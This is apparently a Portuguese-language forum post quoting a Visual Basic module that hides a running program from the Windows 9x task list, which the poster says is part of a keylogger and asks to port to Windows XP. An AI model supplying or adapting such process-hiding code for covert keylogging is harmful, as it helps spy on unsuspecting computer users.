' hide module
' --------------
' those functions effectively hide/unhide the program
' from Win9x TaskList

Option Explicit

Public Declare Function GetCurrentProcessId Lib "kernel32" _
    () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" _
    (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
   
Sub HideMe()

    Dim Ret As Long
   
    Ret = RegisterServiceProcess(GetCurrentProcessId, 1)

End Sub

Sub UnHideMe()  ' not used by this project but good to know :-)

    Dim Ret As Long
   
    Ret = RegisterServiceProcess(GetCurrentProcessId, 0)

End Sub

Qual seria a utilidade desde codigo talvez possomas arranjar outro para sua finalidade para o xp....

Esse modulo faz parte de um keylog feito em vb para 98 eu queria mudar para funcionar em XP, se puder me dar um help agradeço.

 

Falow.